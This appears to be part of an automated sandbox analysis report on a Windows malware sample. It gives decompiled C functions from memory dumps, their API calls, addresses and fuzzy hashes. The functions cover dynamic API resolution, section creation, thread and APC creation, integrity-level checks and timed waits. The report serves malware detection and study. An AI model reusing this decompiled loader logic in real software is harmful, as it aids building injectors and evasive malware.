Opcode Fuzzy Hash: 5f9702cc62f2f1768de9b28c1b786a5b777a38e9c7cb97fdbac97e72a0c77d42
Instruction Fuzzy Hash: 08813AB5A01205AFDB15CFA8D884BEEB7F5EF58310F148129E909E7250EB70E986CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A16786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00A16786(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				long _t67;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0xa1d240);
					_v20 = 0;
					_v16 = 0;
					L00A1B0C8();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0xa1d26c; // 0x20c
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0xa1d24c = 5;
						} else {
							_t68 = E00A173FD(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0xa1d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E00A18504(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_t67 = E00A13BF1(_t72, _t90,  &_v92, _a4, _a8); // executed
							_v8.LowPart = _t67;
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0xa1d244);
							goto L21;
						} else {
							__eflags =  *0xa1d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E00A1A1B0();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0xa1d248);
								L21:
								L00A1B0C8();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0xa1d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x00a16786
0x00a16798
0x00a1679b
0x00a167a7
0x00a167af
0x00a167b2
0x00a16919
0x00a167b8
0x00a167b8
0x00a167ba
0x00a167bf
0x00a167c0
0x00a167c6
0x00a167c9
0x00a167cc
0x00a167da
0x00a167e5
0x00a167e8
0x00a167ea
0x00a167f7
0x00a16801
0x00a16805
0x00a16808
0x00a1680d
0x00a16818
0x00a16818
0x00a1680f
0x00a1680f
0x00a16816
0x00000000
0x00000000
0x00a16816
0x00a16822
0x00000000
0x00a16825
0x00a16829
0x00a16834
0x00a16834
0x00a1683b
0x00a16844
0x00a1684b
0x00a16854
0x00a16857
0x00a1685a
0x00a16861
0x00a16864
0x00000000
0x00000000
0x00a16866
0x00a16869
0x00a1686c
0x00a1686f
0x00000000
0x00a16871
0x00a1687b
0x00a16880
0x00a16880
0x00000000
0x00a168ae
0x00a168ae
0x00a168b3
0x00a168d2
0x00a168d4
0x00a168d9
0x00a168da
0x00000000
0x00a168b5
0x00a168b5
0x00a168bb
0x00000000
0x00a168bd
0x00a168bd
0x00a168c2
0x00a168c4
0x00a168c9
0x00a168ca
0x00a168e0
0x00a168e0
0x00a168e8
0x00a168f3
0x00a168f6
0x00a16901
0x00a16903
0x00a16905
0x00a16908
0x00000000
0x00a1690e
0x00000000
0x00a1690e
0x00a16908
0x00a168bb
0x00000000
0x00a168b3
0x00a16883
0x00a16885
0x00a16888
0x00a16889
0x00a16889
0x00a1688d
0x00a16897
0x00a16897
0x00a1689d
0x00a168a0
0x00a168a0
0x00a168a6
0x00a168a6
0x00a16923
0x00000000

APIs

memset.NTDLL ref: 00A1679B
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 00A167A7
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 00A167CC
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 00A167E8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00A16801
HeapFree.KERNEL32(00000000,00000000), ref: 00A16897
CloseHandle.KERNEL32(?), ref: 00A168A6
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 00A168E0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,00A12417,?), ref: 00A168F6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00A16901

Part of subcall function 00A173FD: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,03139388,00000000,?,74B5F710,00000000,74B5F730), ref: 00A1744C
Part of subcall function 00A173FD: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,031393C0,?,00000000,30314549,00000014,004F0053,0313937C), ref: 00A174E9
Part of subcall function 00A173FD: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,00A16814), ref: 00A174FB

GetLastError.KERNEL32 ref: 00A16913

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: 5c5401abdc21e9dc5e4e4d9288611383cfe3228171f6124a0049934e97a46e53
Instruction ID: 69a6f3e393c8bbd19a77a3dfedd60603e8f118f1d01b731bc3f63ac2df34e2b4
Opcode Fuzzy Hash: 5c5401abdc21e9dc5e4e4d9288611383cfe3228171f6124a0049934e97a46e53
Instruction Fuzzy Hash: BB511971801229EBDF10DFD4DD449EEBFB8EF49360F24821AF811E6190D7749A85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000163F(char _a4) {
				long _v8;
				struct _SYSTEMTIME _v24;
				char _v48;
				void* __edi;
				long _t20;
				int _t22;
				long _t25;
				long _t26;
				long _t30;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t43;
				signed int _t44;
				void* _t48;
				signed int _t51;
				void* _t54;
				intOrPtr* _t55;

				_t20 = E10001850();
				_v8 = _t20;
				if(_t20 != 0) {
					return _t20;
				}
				do {
					GetSystemTime( &_v24);
					_t22 = SwitchToThread();
					asm("cdq");
					_t44 = 9;
					_t51 = _t22 + (_v24.wMilliseconds & 0x0000ffff) % _t44;
					_t25 = E100018F4(0, _t51); // executed
					_v8 = _t25;
					Sleep(_t51 << 5); // executed
					_t26 = _v8;
				} while (_t26 == 0xc);
				if(_t26 != 0) {
					L18:
					return _t26;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t54 = E100012DC(E1000135A,  &_v48);
					if(_t54 == 0) {
						_v8 = GetLastError();
					} else {
						_t30 = WaitForSingleObject(_t54, 0xffffffff);
						_v8 = _t30;
						if(_t30 == 0) {
							GetExitCodeThread(_t54,  &_v8);
						}
						CloseHandle(_t54);
					}
					_t26 = _v8;
					if(_t26 == 0xffffffff) {
						_t26 = GetLastError();
					}
					goto L18;
				}
				if(E10001538(_t44,  &_a4) != 0) {
					 *0x10004138 = 0;
					goto L11;
				}
				_t43 = _a4;
				_t55 = __imp__GetLongPathNameW;
				_t36 =  *_t55(_t43, 0, 0); // executed
				_t48 = _t36;
				if(_t48 == 0) {
					L9:
					 *0x10004138 = _t43;
					goto L11;
				}
				_t14 = _t48 + 2; // 0x2
				_t38 = E10001DE1(_t48 + _t14);
				 *0x10004138 = _t38;
				if(_t38 == 0) {
					goto L9;
				}
				 *_t55(_t43, _t38, _t48); // executed
				E10001DFC(_t43);
				goto L11;
			}

0x10001646
0x1000164f
0x10001652
0x10001742
0x10001742
0x10001659
0x1000165d
0x10001663
0x10001671
0x10001672
0x10001675
0x10001678
0x10001681
0x10001684
0x1000168a
0x1000168d
0x10001694
0x1000173f
0x00000000
0x1000173f
0x1000169e
0x100016ef
0x100016ef
0x10001705
0x1000170a
0x10001732
0x1000170c
0x1000170f
0x10001717
0x1000171a
0x10001721
0x10001721
0x10001728
0x10001728
0x10001735
0x1000173b
0x1000173d
0x1000173d
0x00000000
0x1000173b
0x100016ab
0x100016e9
0x00000000
0x100016e9
0x100016ad
0x100016b0
0x100016b9
0x100016bb
0x100016bf
0x100016e1
0x100016e1
0x00000000
0x100016e1
0x100016c1
0x100016c6
0x100016cd
0x100016d2
0x00000000
0x00000000
0x100016d7
0x100016da
0x00000000

APIs

Part of subcall function 10001850: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,74B063F0), ref: 1000185F
Part of subcall function 10001850: GetVersion.KERNEL32 ref: 1000186E
Part of subcall function 10001850: GetCurrentProcessId.KERNEL32 ref: 10001885
Part of subcall function 10001850: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

GetSystemTime.KERNEL32(?,00000000,74B063F0), ref: 1000165D
SwitchToThread.KERNEL32 ref: 10001663

Part of subcall function 100018F4: VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
Part of subcall function 100018F4: memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
Part of subcall function 100018F4: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Sleep.KERNELBASE(00000000,00000000), ref: 10001684
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016B9
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016D7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 1000170F
GetExitCodeThread.KERNEL32(00000000,?), ref: 10001721
CloseHandle.KERNEL32(00000000), ref: 10001728
GetLastError.KERNEL32(?,00000000), ref: 10001730
GetLastError.KERNEL32 ref: 1000173D

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction ID: 51f1b5d7b5d62603e0b6ca74e6a4c687eacd357270907eacbd85172d1a2e8795
Opcode Fuzzy Hash: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction Fuzzy Hash: 2D318F76901225ABE711EBA58C849DF77FDEF843D0B124226F914D3148EB34DB40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A11B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00A11B2F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L00A1B0C2();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0xa1d27c; // 0x271a5a8
				_t5 = _t13 + 0xa1e862; // 0x3138e0a
				_t6 = _t13 + 0xa1e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L00A1AD5A();
				_t17 = CreateFileMappingW(0xffffffff, 0xa1d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x00a11b2f
0x00a11b37
0x00a11b3b
0x00a11b41
0x00a11b46
0x00a11b4b
0x00a11b4e
0x00a11b51
0x00a11b56
0x00a11b57
0x00a11b5a
0x00a11b5f
0x00a11b66
0x00a11b70
0x00a11b72
0x00a11b73
0x00a11b76
0x00a11b92
0x00a11b98
0x00a11b9c
0x00a11bea
0x00a11b9e
0x00a11bab
0x00a11bbb
0x00a11bc3
0x00a11bd5
0x00a11bd9
0x00000000
0x00000000
0x00a11bc5
0x00a11bc8
0x00a11bcd
0x00a11bcf
0x00a11bcf
0x00a11bad
0x00a11baf
0x00a11bdb
0x00a11bdc
0x00a11bdc
0x00a11bab
0x00a11bf1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00A122EA,?,?,4D283A53,?,?), ref: 00A11B3B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00A11B51
_snwprintf.NTDLL ref: 00A11B76
CreateFileMappingW.KERNELBASE(000000FF,00A1D2A8,00000004,00000000,00001000,?), ref: 00A11B92
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00A122EA,?,?,4D283A53), ref: 00A11BA4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 00A11BBB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00A122EA,?,?), ref: 00A11BDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00A122EA,?,?,4D283A53), ref: 00A11BE4

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 4dc1c1db60ecd9296a0b7b06c7a1f2bc9d176e0fc0177bceb34ca79d9e9d9d18
Instruction ID: 5b23f4b76bc138dd8c702542af6e2c1958865306f5a7a9bce2ab4a9deb45e86b
Opcode Fuzzy Hash: 4dc1c1db60ecd9296a0b7b06c7a1f2bc9d176e0fc0177bceb34ca79d9e9d9d18
Instruction Fuzzy Hash: D621E476649204FFD721EBA4CC05FDE77B9AF48760F214161FA09EB1D0E7709A418B50

Uniqueness

Uniqueness Score: -1.00%

Function 00A1924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A1924F(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0xa1d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E00A12049(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E00A19039(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x00a1925c
0x00a19263
0x00a1926a
0x00a1927e
0x00a19289
0x00a192a1
0x00a192ae
0x00a192b1
0x00a192b6
0x00a192c1
0x00a192c5
0x00a192d4
0x00a192d8
0x00a192f4
0x00a192f4
0x00a192f8
0x00a192f8
0x00a192fd
0x00a19301
0x00a19307
0x00a19308
0x00a1930f
0x00a19315

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 00A19281
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 00A192A1
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00A192B1
CloseHandle.KERNEL32(00000000), ref: 00A19301

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 00A192D4
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 00A192DC
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 00A192EC

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 87771435456b350ee25ac56dcb5f84b71a2c966ac08a9f03a022d949319466db
Instruction ID: d88f7d097593a91398679b0760559cc1974f7a8976c7cf8c5f338a3c92bc20b8
Opcode Fuzzy Hash: 87771435456b350ee25ac56dcb5f84b71a2c966ac08a9f03a022d949319466db
Instruction Fuzzy Hash: 3E212879900259FFEB01DFA4DD84EEEBBB9EB48304F0040A6E911A61A1C7719E45EF60

Uniqueness

Uniqueness Score: -1.00%

Function 00A1163F, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00A11680
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 00A11702
StrStrIW.SHLWAPI(?,006E0069), ref: 00A11741
SysFreeString.OLEAUT32(?), ref: 00A11763

Part of subcall function 00A152F9: SysAllocString.OLEAUT32(00A1C2B0), ref: 00A15349

SafeArrayDestroy.OLEAUT32(?), ref: 00A117B7
SysFreeString.OLEAUT32(?), ref: 00A117C5

Part of subcall function 00A12436: Sleep.KERNELBASE(000001F4), ref: 00A1247E

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 301789e7d5e8d6d18760467be4b9d8aaecce9a2f5cf0a9cc5e8f4973d9de64bc
Instruction ID: 854038fcc9b578c4d88931dfe62bd04de3af1bc89e27accba2644499ce8c8611
Opcode Fuzzy Hash: 301789e7d5e8d6d18760467be4b9d8aaecce9a2f5cf0a9cc5e8f4973d9de64bc
Instruction Fuzzy Hash: 09512E76900209EFDB10DFE4D9848EEB7B6FF88350B188829E605EB250D771AD86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001A0F(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E10001DE1(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x10004150 + 0x10005014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x10004150 + 0x10005151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E10001DFC(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x10004150 + 0x10005161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x10004150 + 0x10005174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x10004150 + 0x10005189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x10004150 + 0x1000519f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E10001EB5(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x10001a1d
0x10001a21
0x10001ae2
0x10001a27
0x10001a3f
0x10001a4e
0x10001a55
0x10001a59
0x10001a5c
0x10001ada
0x10001adb
0x10001a5e
0x10001a6b
0x10001a6f
0x10001a72
0x00000000
0x10001a74
0x10001a81
0x10001a85
0x10001a88
0x00000000
0x10001a8a
0x10001a97
0x10001a9b
0x10001a9e
0x00000000
0x10001aa0
0x10001aad
0x10001ab1
0x10001ab4
0x00000000
0x10001ab6
0x10001abc
0x10001ac2
0x10001ac7
0x10001ace
0x10001ad1
0x00000000
0x10001ad3
0x10001ad6
0x10001ad6
0x10001ad1
0x10001ab4
0x10001a9e
0x10001a88
0x10001a72
0x10001a5c
0x10001af0

APIs

Part of subcall function 10001DE1: HeapAlloc.KERNEL32(00000000,?,10001556,00000208,00000000,00000000,?,?,?,100016A9,?), ref: 10001DED

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 10001EB5: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74B04EE0,00000000,00000000,?), ref: 10001F12
Part of subcall function 10001EB5: memset.NTDLL ref: 10001F34

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction ID: 8e690bc40ad544dced62eb57c6a0da5a983291de411777cdb34876cf766fb635
Opcode Fuzzy Hash: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction Fuzzy Hash: 5F2117B1601B1AAFE750DFA9DC84EDB7BECEF493C07024466E905C7219EB31E9018B61

Uniqueness

Uniqueness Score: -1.00%

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x10004108);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x1000410c;
						if( *0x1000410c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x10004118;
								if( *0x10004118 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x1000410c);
						}
						HeapDestroy( *0x10004110);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x10004108) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x10004110 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x10004130 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E100012DC(E1000111A, E100015EE(_a12, 1, 0x10004118, _t41));
							 *0x1000410c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x10001afd
0x10001b09
0x10001b0b
0x10001b0e
0x10001b84
0x10001b8a
0x10001b8c
0x10001b8e
0x10001b94
0x10001b96
0x10001b9b
0x10001b9e
0x10001ba9
0x10001bab
0x00000000
0x00000000
0x10001bad
0x10001bb0
0x10001bb2
0x00000000
0x00000000
0x00000000
0x10001bb2
0x10001bba
0x10001bba
0x10001bc6
0x10001bc6
0x10001b10
0x10001b11
0x10001b31
0x10001b37
0x10001b39
0x10001b3e
0x10001b7a
0x10001b7a
0x10001b40
0x10001b48
0x10001b4f
0x10001b59
0x10001b65
0x10001b6c
0x10001b71
0x10001b76
0x00000000
0x10001b76
0x10001b71
0x10001b3e
0x10001b11
0x10001bd3

APIs

InterlockedIncrement.KERNEL32(10004108), ref: 10001B1C
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 10001B31

Part of subcall function 100012DC: CreateThread.KERNEL32 ref: 100012F3
Part of subcall function 100012DC: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
Part of subcall function 100012DC: GetLastError.KERNEL32(00000000), ref: 10001313
Part of subcall function 100012DC: TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
Part of subcall function 100012DC: CloseHandle.KERNEL32(00000000), ref: 10001324
Part of subcall function 100012DC: SetLastError.KERNEL32(00000000), ref: 1000132D

InterlockedDecrement.KERNEL32(10004108), ref: 10001B84
SleepEx.KERNEL32(00000064,00000001), ref: 10001B9E
CloseHandle.KERNEL32 ref: 10001BBA
HeapDestroy.KERNEL32 ref: 10001BC6

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction ID: f0df8185a4137bf23340b4e7eb087222ae8a4cbb436f36e741c86f19ce9e809b
